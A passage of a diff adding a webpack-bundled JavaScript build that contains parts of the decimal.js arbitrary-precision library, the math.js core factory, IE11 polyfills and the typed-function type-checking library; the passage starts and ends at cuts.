`rounding`. + * + * x {number|string|Decimal} + * y {number|string|Decimal} + * + */ + function mul(x, y) { + return new this(x).mul(y); + } + + + /* + * Return a new Decimal whose value is `x` raised to the power `y`, rounded to precision + * significant digits using rounding mode `rounding`. + * + * x {number|string|Decimal} The base. + * y {number|string|Decimal} The exponent. + * + */ + function pow(x, y) { + return new this(x).pow(y); + } + + + /* + * Returns a new Decimal with a random value equal to or greater than 0 and less than 1, and with + * `sd`, or `Decimal.precision` if `sd` is omitted, significant digits (or less if trailing zeros + * are produced). + * + * [sd] {number} Significant digits. Integer, 0 to MAX_DIGITS inclusive. + * + */ + function random(sd) { + var d, e, k, n, + i = 0, + r = new this(1), + rd = []; + + if (sd === void 0) sd = this.precision; + else checkInt32(sd, 1, MAX_DIGITS); + + k = Math.ceil(sd / LOG_BASE); + + if (!this.crypto) { + for (; i < k;) rd[i++] = Math.random() * 1e7 | 0; + + // Browsers supporting crypto.getRandomValues. + } else if (crypto.getRandomValues) { + d = crypto.getRandomValues(new Uint32Array(k)); + + for (; i < k;) { + n = d[i]; + + // 0 <= n < 4294967296 + // Probability n >= 4.29e9, is 4967296 / 4294967296 = 0.00116 (1 in 865). + if (n >= 4.29e9) { + d[i] = crypto.getRandomValues(new Uint32Array(1))[0]; + } else { + + // 0 <= n <= 4289999999 + // 0 <= (n % 1e7) <= 9999999 + rd[i++] = n % 1e7; + } + } + + // Node.js supporting crypto.randomBytes. + } else if (crypto.randomBytes) { + + // buffer + d = crypto.randomBytes(k *= 4); + + for (; i < k;) { + + // 0 <= n < 2147483648 + n = d[i] + (d[i + 1] << 8) + (d[i + 2] << 16) + ((d[i + 3] & 0x7f) << 24); + + // Probability n >= 2.14e9, is 7483648 / 2147483648 = 0.0035 (1 in 286). + if (n >= 2.14e9) { + crypto.randomBytes(4).copy(d, i); + } else { + + // 0 <= n <= 2139999999 + // 0 <= (n % 1e7) <= 9999999 + rd.push(n % 1e7); + i += 4; + } + } + + i = k / 4; + } else { + throw Error(cryptoUnavailable); + } + + k = rd[--i]; + sd %= LOG_BASE; + + // Convert trailing digits to zeros according to sd. + if (k && sd) { + n = mathpow(10, LOG_BASE - sd); + rd[i] = (k / n | 0) * n; + } + + // Remove trailing words which are zero. + for (; rd[i] === 0; i--) rd.pop(); + + // Zero? + if (i < 0) { + e = 0; + rd = [0]; + } else { + e = -1; + + // Remove leading words which are zero and adjust exponent accordingly. + for (; rd[0] === 0; e -= LOG_BASE) rd.shift(); + + // Count the digits of the first word of rd to determine leading zeros. + for (k = 1, n = rd[0]; n >= 10; n /= 10) k++; + + // Adjust the exponent for leading zeros of the first word of rd. + if (k < LOG_BASE) e -= LOG_BASE - k; + } + + r.e = e; + r.d = rd; + + return r; + } + + + /* + * Return a new Decimal whose value is `x` rounded to an integer using rounding mode `rounding`. + * + * To emulate `Math.round`, set rounding to 7 (ROUND_HALF_CEIL). + * + * x {number|string|Decimal} + * + */ + function round(x) { + return finalise(x = new this(x), x.e + 1, this.rounding); + } + + + /* + * Return + * 1 if x > 0, + * -1 if x < 0, + * 0 if x is 0, + * -0 if x is -0, + * NaN otherwise + * + * x {number|string|Decimal} + * + */ + function sign(x) { + x = new this(x); + return x.d ? (x.d[0] ? x.s : 0 * x.s) : x.s || NaN; + } + + + /* + * Return a new Decimal whose value is the sine of `x`, rounded to `precision` significant digits + * using rounding mode `rounding`. + * + * x {number|string|Decimal} A value in radians. + * + */ + function sin(x) { + return new this(x).sin(); + } + + + /* + * Return a new Decimal whose value is the hyperbolic sine of `x`, rounded to `precision` + * significant digits using rounding mode `rounding`. + * + * x {number|string|Decimal} A value in radians. + * + */ + function sinh(x) { + return new this(x).sinh(); + } + + + /* + * Return a new Decimal whose value is the square root of `x`, rounded to `precision` significant + * digits using rounding mode `rounding`. + * + * x {number|string|Decimal} + * + */ + function sqrt(x) { + return new this(x).sqrt(); + } + + + /* + * Return a new Decimal whose value is `x` minus `y`, rounded to `precision` significant digits + * using rounding mode `rounding`. + * + * x {number|string|Decimal} + * y {number|string|Decimal} + * + */ + function sub(x, y) { + return new this(x).sub(y); + } + + + /* + * Return a new Decimal whose value is the tangent of `x`, rounded to `precision` significant + * digits using rounding mode `rounding`. + * + * x {number|string|Decimal} A value in radians. + * + */ + function tan(x) { + return new this(x).tan(); + } + + + /* + * Return a new Decimal whose value is the hyperbolic tangent of `x`, rounded to `precision` + * significant digits using rounding mode `rounding`. + * + * x {number|string|Decimal} A value in radians. + * + */ + function tanh(x) { + return new this(x).tanh(); + } + + + /* + * Return a new Decimal whose value is `x` truncated to an integer. + * + * x {number|string|Decimal} + * + */ + function trunc(x) { + return finalise(x = new this(x), x.e + 1, 1); + } + + + // Create and configure initial Decimal constructor. + Decimal = clone(DEFAULTS); + + Decimal['default'] = Decimal.Decimal = Decimal; + + // Create the internal constants from their string values. + LN10 = new Decimal(LN10); + PI = new Decimal(PI); + + + // Export. + + + // AMD. + if (true) { + !(__WEBPACK_AMD_DEFINE_RESULT__ = (function () { + return Decimal; + }).call(exports, __webpack_require__, exports, module), + __WEBPACK_AMD_DEFINE_RESULT__ !== undefined && (module.exports = __WEBPACK_AMD_DEFINE_RESULT__)); + + // Node and other environments that support module.exports. + } else {} +})(this); + + +/***/ }), +/* 161 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +var core = __webpack_require__(162); +/** + * math.js factory function. Creates a new instance of math.js + * + * @param {Object} [config] Available configuration options: + * {number} epsilon + * Minimum relative difference between two + * compared values, used by all comparison functions. + * {string} matrix + * A string 'matrix' (default) or 'array'. + * {string} number + * A string 'number' (default), 'bignumber', or + * 'fraction' + * {number} precision + * The number of significant digits for BigNumbers. + * Not applicable for Numbers. + * {boolean} predictable + * Predictable output type of functions. When true, + * output type depends only on the input types. When + * false (default), output type can vary depending + * on input values. For example `math.sqrt(-4)` + * returns `complex('2i')` when predictable is false, and + * returns `NaN` when true. + */ + + +function create(config) { + // create a new math.js instance + var math = core.create(config); + math.create = create; // import data types, functions, constants, expression parser, etc. + + math['import'](__webpack_require__(168)); + return math; +} // return a new instance of math.js + + +module.exports = create(); + +/***/ }), +/* 162 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +__webpack_require__(163); + +var isFactory = __webpack_require__(5).isFactory; + +var typedFactory = __webpack_require__(103); + +var emitter = __webpack_require__(104); + +var importFactory = __webpack_require__(166); + +var configFactory = __webpack_require__(167); +/** + * Math.js core. Creates a new, empty math.js instance + * @param {Object} [options] Available options: + * {number} epsilon + * Minimum relative difference between two + * compared values, used by all comparison functions. + * {string} matrix + * A string 'Matrix' (default) or 'Array'. + * {string} number + * A string 'number' (default), 'BigNumber', or 'Fraction' + * {number} precision + * The number of significant digits for BigNumbers. + * Not applicable for Numbers. + * {boolean} predictable + * Predictable output type of functions. When true, + * output type depends only on the input types. When + * false (default), output type can vary depending + * on input values. For example `math.sqrt(-4)` + * returns `complex('2i')` when predictable is false, and + * returns `NaN` when true. + * {string} randomSeed + * Random seed for seeded pseudo random number generator. + * Set to null to randomly seed. + * @returns {Object} Returns a bare-bone math.js instance containing + * functions: + * - `import` to add new functions + * - `config` to change configuration + * - `on`, `off`, `once`, `emit` for events + */ + + +exports.create = function create(options) { + // simple test for ES5 support + if (typeof Object.create !== 'function') { + throw new Error('ES5 not supported by this JavaScript engine. ' + 'Please load the es5-shim and es5-sham library for compatibility.'); + } // cached factories and instances + + + var factories = []; + var instances = []; // create a namespace for the mathjs instance, and attach emitter functions + + var math = emitter.mixin({}); + math.type = {}; + math.expression = { + transform: {}, + mathWithTransform: {} // create a new typed instance + + }; + math.typed = typedFactory.create(math.type); // create configuration options. These are private + + var _config = { + // minimum relative difference between two compared values, + // used by all comparison functions + epsilon: 1e-12, + // type of default matrix output. Choose 'matrix' (default) or 'array' + matrix: 'Matrix', + // type of default number output. Choose 'number' (default) 'BigNumber', or 'Fraction + number: 'number', + // number of significant digits in BigNumbers + precision: 64, + // predictable output type of functions. When true, output type depends only + // on the input types. When false (default), output type can vary depending + // on input values. For example `math.sqrt(-4)` returns `complex('2i')` when + // predictable is false, and returns `NaN` when true. + predictable: false, + // random seed for seeded pseudo random number generation + // null = randomly seed + randomSeed: null + /** + * Load a function or data type from a factory. + * If the function or data type already exists, the existing instance is + * returned. + * @param {{type: string, name: string, factory: Function}} factory + * @returns {*} + */ + + }; + + function load(factory) { + if (!isFactory(factory)) { + throw new Error('Factory object with properties `type`, `name`, and `factory` expected'); + } + + var index = factories.indexOf(factory); + var instance; + + if (index === -1) { + // doesn't yet exist + if (factory.math === true) { + // pass with math namespace + instance = factory.factory(math.type, _config, load, math.typed, math); + } else { + instance = factory.factory(math.type, _config, load, math.typed); + } // append to the cache + + + factories.push(factory); + instances.push(instance); + } else { + // already existing function, return the cached instance + instance = instances[index]; + } + + return instance; + } // load the import and config functions + + + math['import'] = load(importFactory); + math['config'] = load(configFactory); + math.expression.mathWithTransform['config'] = math['config']; // apply options + + if (options) { + math.config(options); + } + + return math; +}; + +/***/ }), +/* 163 */ +/***/ (function(module, exports) { + +// TODO: remove these polyfills as soon as we have a build process that transpiles the code to ES5 +// Polyfill for IE 11 (Number.isFinite is used in `complex.js`) +// source: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Number/isFinite +Number.isFinite = Number.isFinite || function (value) { + return typeof value === 'number' && isFinite(value); +}; // Polyfill for IE 11 +// source: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Number/isNaN + + +Number.isNaN = Number.isNaN || function (value) { + return value !== value; // eslint-disable-line no-self-compare +}; + +/***/ }), +/* 164 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; +var __WEBPACK_AMD_DEFINE_FACTORY__, __WEBPACK_AMD_DEFINE_ARRAY__, __WEBPACK_AMD_DEFINE_RESULT__;/** + * typed-function + * + * Type checking for JavaScript functions + * + * https://github.com/josdejong/typed-function + */ + + +(function (root, factory) { + if (true) { + // AMD. Register as an anonymous module. + !(__WEBPACK_AMD_DEFINE_ARRAY__ = [], __WEBPACK_AMD_DEFINE_FACTORY__ = (factory), + __WEBPACK_AMD_DEFINE_RESULT__ = (typeof __WEBPACK_AMD_DEFINE_FACTORY__ === 'function' ? + (__WEBPACK_AMD_DEFINE_FACTORY__.apply(exports, __WEBPACK_AMD_DEFINE_ARRAY__)) : __WEBPACK_AMD_DEFINE_FACTORY__), + __WEBPACK_AMD_DEFINE_RESULT__ !== undefined && (module.exports = __WEBPACK_AMD_DEFINE_RESULT__)); + } else {} +}(this, function () { + + function ok () { + return true; + } + + function notOk () { + return false; + } + + function undef () { + return undefined; + } + + /** + * @typedef {{ + * params: Param[], + * fn: function + * }} Signature + * + * @typedef {{ + * types: Type[], + * restParam: boolean + * }} Param + * + * @typedef {{ + * name: string, + * typeIndex: number, + * test: function, + * conversion?: ConversionDef, + * conversionIndex: number, + * }} Type + * + * @typedef {{ + * from: string, + * to: string, + * convert: function (*) : * + * }} ConversionDef + * + * @typedef {{ + * name: string, + * test: function(*) : boolean + * }} TypeDef + */ + + // create a new instance of typed-function + function create () { + // data type tests + var _types = [ + { name: 'number', test: function (x) { return typeof x === 'number' } }, + { name: 'string', test: function (x) { return typeof x === 'string' } }, + { name: 'boolean', test: function (x) { return typeof x === 'boolean' } }, + { name: 'Function', test: function (x) { return typeof x === 'function'} }, + { name: 'Array', test: Array.isArray }, + { name: 'Date', test: function (x) { return x instanceof Date } }, + { name: 'RegExp', test: function (x) { return x instanceof RegExp } }, + { name: 'Object', test: function (x) { + return typeof x === 'object' && x.constructor === Object + }}, + { name: 'null', test: function (x) { return x === null } }, + { name: 'undefined', test: function (x) { return x === undefined } } + ]; + + var anyType = { + name: 'any', + test: ok + } + + // types which need to be ignored + var _ignore = []; + + // type conversions + var _conversions = []; + + // This is a temporary object, will be replaced with a typed function at the end + var typed = { + types: _types, + conversions: _conversions, + ignore: _ignore + }; + + /** + * Find the test function for a type + * @param {String} typeName + * @return {TypeDef} Returns the type definition when found, + * Throws a TypeError otherwise + */ + function findTypeByName (typeName) { + var entry = findInArray(typed.types, function (entry) { + return entry.name === typeName; + }); + + if (entry) { + return entry; + } + + if (typeName === 'any') { // special baked-in case 'any' + return anyType; + } + + var hint = findInArray(typed.types, function (entry) { + return entry.name.toLowerCase() === typeName.toLowerCase(); + }); + + throw new TypeError('Unknown type "' + typeName + '"' + + (hint ? ('. Did you mean "' + hint.name + '"?') : '')); + } + + /** + * Find the index of a type definition. Handles special case 'any' + * @param {TypeDef} type + * @return {number} + */ + function findTypeIndex(type) { + if (type === anyType) { + return 999; + } + + return typed.types.indexOf(type); + } + + /** + * Find a type that matches a value. + * @param {*} value + * @return {string} Returns the name of the first type for which + * the type test matches the value. + */ + function findTypeName(value) { + var entry = findInArray(typed.types, function (entry) { + return entry.test(value); + }); + + if (entry) { + return entry.name; + } + + throw new TypeError('Value has unknown type. Value: ' + value); + } + + /** + * Find a specific signature from a (composed) typed function, for example: + * + * typed.find(fn, ['number', 'string']) + * typed.find(fn, 'number, string') + * + * Function find only only works for exact matches. + * + * @param {Function} fn A typed-function + * @param {string | string[]} signature Signature to be found, can be + * an array or a comma separated string. + * @return {Function} Returns the matching signature, or + * throws an error when no signature + * is found. + */ + function find (fn, signature) { + if (!fn.signatures) { + throw new TypeError('Function is no typed-function'); + } + + // normalize input + var arr; + if (typeof signature === 'string') { + arr = signature.split(','); + for (var i = 0; i < arr.length; i++) { + arr[i] = arr[i].trim(); + } + } + else if (Array.isArray(signature)) { + arr = signature; + } + else { + throw new TypeError('String array or a comma separated string expected'); + } + + var str = arr.join(','); + + // find an exact match + var match = fn.signatures[str]; + if (match) { + return match; + } + + // TODO: extend find to match non-exact signatures + + throw new TypeError('Signature not found (signature: ' + (fn.name || 'unnamed') + '(' + arr.join(', ') + '))'); + } + + /** + * Convert a given value to another data type. + * @param {*} value + * @param {string} type + */ + function convert (value, type) { + var from = findTypeName(value); + + // check conversion is needed + if (type === from) { + return value; + } + + for (var i = 0; i < typed.conversions.length; i++) { + var conversion = typed.conversions[i]; + if (conversion.from === from && conversion.to === type) { + return conversion.convert(value); + } + } + + throw new Error('Cannot convert from ' + from + ' to ' + type); + } + + /** + * Stringify parameters in a normalized way + * @param {Param[]} params + * @return {string} + */ + function stringifyParams (params) { + return params + .map(function (param) { + var typeNames = param.types.map(getTypeName); + + return (param.restParam ? '...' : '') + typeNames.join('|'); + }) + .join(','); + } + + /** + * Parse a parameter, like "...number | boolean" + * @param {string} param + * @param {ConversionDef[]} conversions + * @return {Param} param + */ + function parseParam (param, conversions) { + var restParam = param.indexOf('...') === 0; + var types = (!restParam) + ? param + : (param.length > 3) + ? param.slice(3) + : 'any'; + + var typeNames = types.split('|').map(trim) + .filter(notEmpty) + .filter(notIgnore); + + var matchingConversions = filterConversions(conversions, typeNames); + + var exactTypes = typeNames.map(function (typeName) { + var type = findTypeByName(typeName); + + return { + name: typeName, + typeIndex: findTypeIndex(type), + test: type.test, + conversion: null, + conversionIndex: -1 + }; + }); + + var convertibleTypes = matchingConversions.map(function (conversion) { + var type = findTypeByName(conversion.from); + + return { + name: conversion.from, + typeIndex: findTypeIndex(type), + test: type.test, + conversion: conversion, + conversionIndex: conversions.indexOf(conversion) + }; + }); + + return { + types: exactTypes.concat(convertibleTypes), + restParam: restParam + }; + } + + /** + * Parse a signature with comma separated parameters, + * like "number | boolean, ...string" + * @param {string} signature + * @param {function} fn + * @param {ConversionDef[]} conversions + * @return {Signature | null} signature + */ + function parseSignature (signature, fn, conversions) { + var params = []; + + if (signature.trim() !== '') { + params = signature + .split(',') + .map(trim) + .map(function (param, index, array) { + var parsedParam = parseParam(param, conversions); + + if (parsedParam.restParam && (index !== array.length - 1)) { + throw new SyntaxError('Unexpected rest parameter "' + param + '": ' + + 'only allowed for the last parameter'); + } + + return parsedParam; + }); + } + + if (params.some(isInvalidParam)) { + // invalid signature: at least one parameter has no types + // (they may have been filtered) + return null; + } + + return { + params: params, + fn: fn + }; + } + + /** + * Test whether a set of params contains a restParam + * @param {Param[]} params + * @return {boolean} Returns true when the last parameter is a restParam + */ + function hasRestParam(params) { + var param = last(params) + return param ? param.restParam : false; + } + + /** + * Test whether a parameter contains conversions + * @param {Param} param + * @return {boolean} Returns true when at least one of the parameters + * contains a conversion. + */ + function hasConversions(param) { + return param.types.some(function (type) { + return type.conversion != null; + }); + } + + /** + * Create a type test for a single parameter, which can have one or multiple + * types. + * @param {Param} param + * @return {function(x: *) : boolean} Returns a test function + */ + function compileTest(param) { + if (!param || param.types.length === 0) { + // nothing to do + return ok; + } + else if (param.types.length === 1) { + return findTypeByName(param.types[0].name).test; + } + else if (param.types.length === 2) { + var test0 = findTypeByName(param.types[0].name).test; + var test1 = findTypeByName(param.types[1].name).test; + return function or(x) { + return test0(x) || test1(x); + } + } + else { // param.types.length > 2 + var tests = param.types.map(function (type) { + return findTypeByName(type.name).test; + }) + return function or(x) { + for (var i = 0; i < tests.length; i++) { + if (tests[i](x)) { + return true; + } + } + return false; + } + } + } + + /** + * Create a test for all parameters of a signature + * @param {Param[]} params + * @return {function(args: Array<*>) : boolean} + */ + function compileTests(params) { + var tests, test0, test1; + + if (hasRestParam(params)) { + // variable arguments like '...number' + tests = initial(params).map(compileTest); + var varIndex = tests.length; + var lastTest = compileTest(last(params)); + var testRestParam = function (args) { + for (var i = varIndex; i < args.length; i++) { + if (!lastTest(args[i])) { + return false; + } + } + return true; + } + + return function testArgs(args) { + for (var i = 0; i < tests.length; i++) { + if (!tests[i](args[i])) { + return false; + } + } + return testRestParam(args) && (args.length >= varIndex + 1); + }; + } + else { + // no variable arguments + if (params.length === 0) { + return function testArgs(args) { + return args.length === 0; + }; + } + else if (params.length === 1) { + test0 = compileTest(params[0]); + return function testArgs(args) { + return test0(args[0]) && args.length === 1; + }; + } + else if (params.length === 2) { + test0 = compileTest(params[0]); + test1 = compileTest(params[1]); + return function testArgs(args) { + return test0(args[0]) && test1(args[1]) && args.length === 2; + }; + } + else { // arguments.length > 2 + tests = params.map(compileTest); + return function testArgs(args) { + for (var i = 0; i < tests.length; i++) { + if (!tests[i](args[i])) { + return false; + } + } + return args.length === tests.length; + }; + } + } + } + + /** + * Find the parameter at a specific index of a signature. + * Handles rest parameters. + * @param {Signature} signature + * @param {number} index + * @return {Param | null} Returns the matching parameter when found, + * null otherwise. + */ + function getParamAtIndex(signature, index) { + return index < signature.params.length + ? signature.params[index] + : hasRestParam(signature.params) + ? last(signature.params) + : null + } + + /** + * Get all type names of a parameter + * @param {Signature} signature + * @param {number} index + * @param {boolean} excludeConversions + * @return {string[]} Returns an array with type names + */ + function getExpectedTypeNames (signature, index, excludeConversions) { + var param = getParamAtIndex(signature, index); + var types = param + ? excludeConversions + ? param.types.filter(isExactType) + : param.types + : []; + + return types.map(getTypeName); + } + + /** + * Returns the name of a type + * @param {Type} type + * @return {string} Returns the type name + */ + function getTypeName(type) { + return type.name; + } + + /** + * Test whether a type is an exact type or conversion + * @param {Type} type + * @return {boolean} Returns true when + */ + function isExactType(type) { + return type.conversion === null || type.conversion === undefined; + } + + /** + * Helper function for creating error messages: create an array with + * all available types on a specific argument index. + * @param {Signature[]} signatures + * @param {number} index + * @return {string[]} Returns an array with available types + */ + function mergeExpectedParams(signatures, index) { + var typeNames = uniq(flatMap(signatures, function (signature) { + return getExpectedTypeNames(signature, index, false); + })); + + return (typeNames.indexOf('any') !== -1) ? ['any'] : typeNames; + } + + /** + * Create + * @param {string} name The name of the function + * @param {array.<*>} args The actual arguments passed to the function + * @param {Signature[]} signatures A list with available signatures + * @return {TypeError} Returns a type error with additional data + * attached to it in the property `data` + */ + function createError(name, args, signatures) { + var err, expected; + var _name = name || 'unnamed'; + + // test for wrong type at some index + var matchingSignatures = signatures; + var index; + for (index = 0; index < args.length; index++) { + var nextMatchingDefs = matchingSignatures.filter(function (signature) { + var test = compileTest(getParamAtIndex(signature, index)); + return (index < signature.params.length || hasRestParam(signature.params)) && + test(args[index]); + }); + + if (nextMatchingDefs.length === 0) { + // no matching signatures anymore, throw error "wrong type" + expected = mergeExpectedParams(matchingSignatures, index); + if (expected.length > 0) { + var actualType = findTypeName(args[index]); + + err = new TypeError('Unexpected type of argument in function ' + _name + + ' (expected: ' + expected.join(' or ') + + ', actual: ' + actualType + ', index: ' + index + ')'); + err.data = { + category: 'wrongType', + fn: _name, + index: index, + actual: actualType, + expected: expected + } + return err; + } + } + else { + matchingSignatures = nextMatchingDefs; + } + } + + // test for too few arguments + var lengths = matchingSignatures.map(function (signature) { + return hasRestParam(signature.params) ? Infinity : signature.params.length; + }); + if (args.length < Math.min.apply(null, lengths)) { + expected = mergeExpectedParams(matchingSignatures, index); + err = new TypeError('Too few arguments in function ' + _name + + ' (expected: ' + expected.join(' or ') + + ', index: ' + args.length + ')'); + err.data = { + category: 'tooFewArgs', + fn: _name, + index: args.length, + expected: expected + } + return err; + } + + // test for too many arguments + var maxLength = Math.max.apply(null, lengths); + if (args.length > maxLength) { + err = new TypeError('Too many arguments in function ' + _name + + ' (expected: ' + maxLength + ', actual: ' + args.length + ')'); + err.data = { + category: 'tooManyArgs', + fn: _name, + index: args.length, + expectedLength: maxLength + } + return err; + } + + err = new TypeError('Arguments of type "' + args.join(', ') + + '" do not match any of the defined signatures of function ' + _name + '.'); + err.data = { + category: 'mismatch', + actual: args.map(findTypeName) + } + return err; + } + + /** + * Find the lowest index of all exact types of a parameter (no conversions) + * @param {Param} param + * @return {number} Returns the index of the lowest type in typed.types + */ + function getLowestTypeIndex (param) { + var min = 999; + + for (var i = 0; i < param.types.length; i++) { + if (isExactType(param.types[i])) { + min = Math.min(min, param.types[i].typeIndex); + } + } + + return min; + } + + /** + * Find the lowest index of the conversion of all types of the parameter + * having a conversion + * @param {Param} param + * @return {number} Returns the lowest index of the conversions of this type + */ + function getLowestConversionIndex (param) { + var min = 999; + + for (var i = 0; i < param.types.length; i++) { + if (!isExactType(param.types[i])) { + min = Math.min(min, param.types[i].conversionIndex); + } + } + + return min; + } + + /** + * Compare two params + * @param {Param} param1 + * @param {Param} param2 + * @return {number} returns a negative number when param1 must get a lower + * index than param2, a positive number when the opposite, + * or zero when both are equal + */ + function compareParams (param1, param2) { + var c; + + // compare having a rest parameter or not + c = param1.restParam - param2.restParam; + if (c !== 0) { + return c; + } + + // compare having conversions or not + c = hasConversions(param1) - hasConversions(param2); + if (c !== 0) { + return c; + } + + // compare the index of the types + c = getLowestTypeIndex(param1) - getLowestTypeIndex(param2); + if (c !== 0) { + return c; + } + + // compare the index of any conversion + return getLowestConversionIndex(param1) - getLowestConversionIndex(param2); + } + + /** + * Compare two signatures + * @param {Signature} signature1 + * @param {Signature} signature2 + * @return {number} returns a negative number when param1 must get a lower + * index than param2, a positive number when the opposite, + * or zero when both are equal + */ + function compareSignatures (signature1, signature2) { + var len = Math.min(signature1.params.length, signature2.params.length); + var i; + var c; + + // compare whether the params have conversions at all or not + c = signature1.params.some(hasConversions) - signature2.params.some(hasConversions) + if (c !== 0) { + return c; + } + + // next compare whether the params have conversions one by one + for (i = 0; i < len; i++) { + c = hasConversions(signature1.params[i]) - hasConversions(signature2.params[i]); + if (c !== 0) { + return c; + } + } + + // compare the types of the params one by one + for (i = 0; i < len; i++) { + c = compareParams(signature1.params[i], signature2.params[i]); + if (c !== 0) { + return c; + } + } + + // compare the number of params + return signature1.params.length - signature2.params.length; + } + + /** + * Get params containing all types that can be converted to the defined types. + * + * @param {ConversionDef[]} conversions + * @param {string[]} typeNames + * @return {ConversionDef[]} Returns the conversions that are available + * for every type (if any) + */ + function filterConversions(conversions, typeNames) { + var matches = {}; + + conversions.forEach(function (conversion) { + if (typeNames.indexOf(conversion.from) === -1 && + typeNames.indexOf(conversion.to) !== -1 && + !matches[conversion.from]) { + matches[conversion.from] = conversion; + } + }); + + return Object.keys(matches).map(function (from) { + return matches[from]; + }); + } + + /** + * Preprocess arguments before calling the original function: + * - if needed convert the parameters + * - in case of rest parameters, move the rest parameters into an Array + * @param {Param[]} params + * @param {function} fn + * @return {function} Returns a wrapped function + */ + function compileArgsPreprocessing(params, fn) { + var fnConvert = fn; + + // TODO: can we make this wrapper function smarter/simpler? + + if (params.some(hasConversions)) { + var restParam = hasRestParam(params); + var compiledConversions = params.map(compileArgConversion) + + fnConvert = function convertArgs() { + var args = []; + var last = restParam ? arguments.length - 1 : arguments.length; + for (var i = 0; i < last; i++) { + args[i] = compiledConversions[i](arguments[i]); + } + if (restParam) { + args[last] = arguments[last].map(compiledConversions[last]); + } + + return fn.apply(null, args); + } + } + + var fnPreprocess = fnConvert; + if (hasRestParam(params)) { + var offset = params.length - 1; + + fnPreprocess = function preprocessRestParams () { + return fnConvert.apply(null, + slice(arguments, 0, offset).concat([slice(arguments, offset)])); + } + } + + return fnPreprocess; + } + + /** + * Compile conversion for a parameter to the right type + * @param {Param} param + * @return {function} Returns the wrapped function that will convert arguments + * + */ + function compileArgConversion(param) { + var test0, test1, conversion0, conversion1; + var tests = []; + var conversions = []; + + param.types.forEach(function (type) { + if (type.conversion) { + tests.push(findTypeByName(type.conversion.from).test); + conversions.push(type.conversion.convert); + } + }); + + // create optimized conversion functions depending on the number of conversions + switch (conversions.length) { + case 0: + return function convertArg(arg) { + return arg; + } + + case 1: + test0 = tests[0] + conversion0 = conversions[0]; + return function convertArg(arg) { + if (test0(arg)) { + return conversion0(arg) + } + return arg; + } + + case 2: + test0 = tests[0] + test1 = tests[1] + conversion0 = conversions[0]; + conversion1 = conversions[1]; + return function convertArg(arg) { + if (test0(arg)) { + return conversion0(arg) + } + if (test1(arg)) { + return conversion1(arg) + } + return arg; + } + + default: + return function convertArg(arg) { + for (var i = 0; i < conversions.length; i++) { + if (tests[i](arg)) { + return conversions[i](arg); + } + } + return arg; + } + } + } + + /** + * Convert an array with signatures into a map with signatures, + * where signatures with union types are split into separate signatures + * + * Throws an error when there are conflicting types + * + * @param {Signature[]} signatures + * @return {Object.} Returns a map with signatures + * as key and the original function + * of this signature as value. + */ + function createSignaturesMap(signatures) { + var signaturesMap = {}; + signatures.forEach(function (signature) { + if (!signature.params.some(hasConversions)) { + splitParams(signature.params, true).forEach(function (params) { + signaturesMap[stringifyParams(params)] = signature.fn; + }); + } + }); + + return signaturesMap; + } + + /** + * Split params with union types in to separate params. + * + * For example: + * + * splitParams([['Array', 'Object'], ['string', 'RegExp']) + * // returns: + * // [ + * // ['Array', 'string'], + * // ['Array', 'RegExp'], + * // ['Object', 'string'], + * // ['Object', 'RegExp'] + * // ] + * + * @param {Param[]} params + * @param {boolean} ignoreConversionTypes + * @return {Param[]} + */ + function splitParams(params, ignoreConversionTypes) { + function _splitParams(params, index, types) { + if (index < params.length) { + var param = params[index] + var filteredTypes = ignoreConversionTypes + ? param.types.filter(isExactType) + : param.types; + var typeGroups + + if (param.restParam) { + // split the types of a rest parameter in two: + // one with only exact types, and one with exact types and conversions + var exactTypes = filteredTypes.filter(isExactType) + typeGroups = exactTypes.length < filteredTypes.length + ? [exactTypes, filteredTypes] + : [filteredTypes] + + } + else { + // split all the types of a regular parameter into one type per group + typeGroups = filteredTypes.map(function (type) { + return [type] + }) + } + + // recurse over the groups with types + return flatMap(typeGroups, function (typeGroup) { + return _splitParams(params, index + 1, types.concat([typeGroup])); + }); + + } + else { + // we've reached the end of the parameters. Now build a new Param + var splittedParams = types.map(function (type, typeIndex) { + return { + types: type, + restParam: (typeIndex === params.length - 1) && hasRestParam(params) + } + }); + + return [splittedParams]; + } + } + + return _splitParams(params, 0, []); + } + + /** + * Test whether two signatures have a conflicting signature + * @param {Signature} signature1 + * @param {Signature} signature2 + * @return {boolean} Returns true when the signatures conflict, false otherwise. + */ + function hasConflictingParams(signature1, signature2) { + var ii = Math.max(signature1.params.length, signature2.params.length); + + for (var i = 0; i < ii; i++) { + var typesNames1 = getExpectedTypeNames(signature1, i, true); + var typesNames2 = getExpectedTypeNames(signature2, i, true); + + if (!hasOverlap(typesNames1, typesNames2)) { + return false; + } + } + + var len1 = signature1.params.length; + var len2 = signature2.params.length; + var restParam1 = hasRestParam(signature1.params); + var restParam2 = hasRestParam(signature2.params); + + return restParam1 + ? restParam2 ? (len1 === len2) : (len2 >= len1) + : restParam2 ? (len1 >= len2) : (len1 === len2) + } + + /** + * Create a typed function + * @param {String} name The name for the typed function + * @param {Object.} signaturesMap + * An object with one or + * multiple signatures as key, and the + * function corresponding to the + * signature as value. + * @return {function} Returns the created typed function. + */ + function createTypedFunction(name, signaturesMap) { + if (Object.keys(signaturesMap).length === 0) { + throw new SyntaxError('No signatures provided'); + } + + // parse the signatures, and check for conflicts + var parsedSignatures = []; + Object.keys(signaturesMap) + .map(function (signature) { + return parseSignature(signature, signaturesMap[signature], typed.conversions); + }) + .filter(notNull) + .forEach(function (parsedSignature) { + // check whether this parameter conflicts with already parsed signatures + var conflictingSignature = findInArray(parsedSignatures, function (s) { + return hasConflictingParams(s, parsedSignature) + }); + if (conflictingSignature) { + throw new TypeError('Conflicting signatures "' + + stringifyParams(conflictingSignature.params) + '" and "' + + stringifyParams(parsedSignature.params) + '".'); + } + + parsedSignatures.push(parsedSignature); + }); + + // split and filter the types of the signatures, and then order them + var signatures = flatMap(parsedSignatures, function (parsedSignature) { + var params = parsedSignature ? splitParams(parsedSignature.params, false) : [] + + return params.map(function (params) { + return { + params: params, + fn: parsedSignature.fn + }; + }); + }).filter(notNull); + + signatures.sort(compareSignatures); + + // we create a highly optimized checks for the first couple of signatures with max 2 arguments + var ok0 = signatures[0] && signatures[0].params.length <= 2 && !hasRestParam(signatures[0].params); + var ok1 = signatures[1] && signatures[1].params.length <= 2 && !hasRestParam(signatures[1].params); + var ok2 = 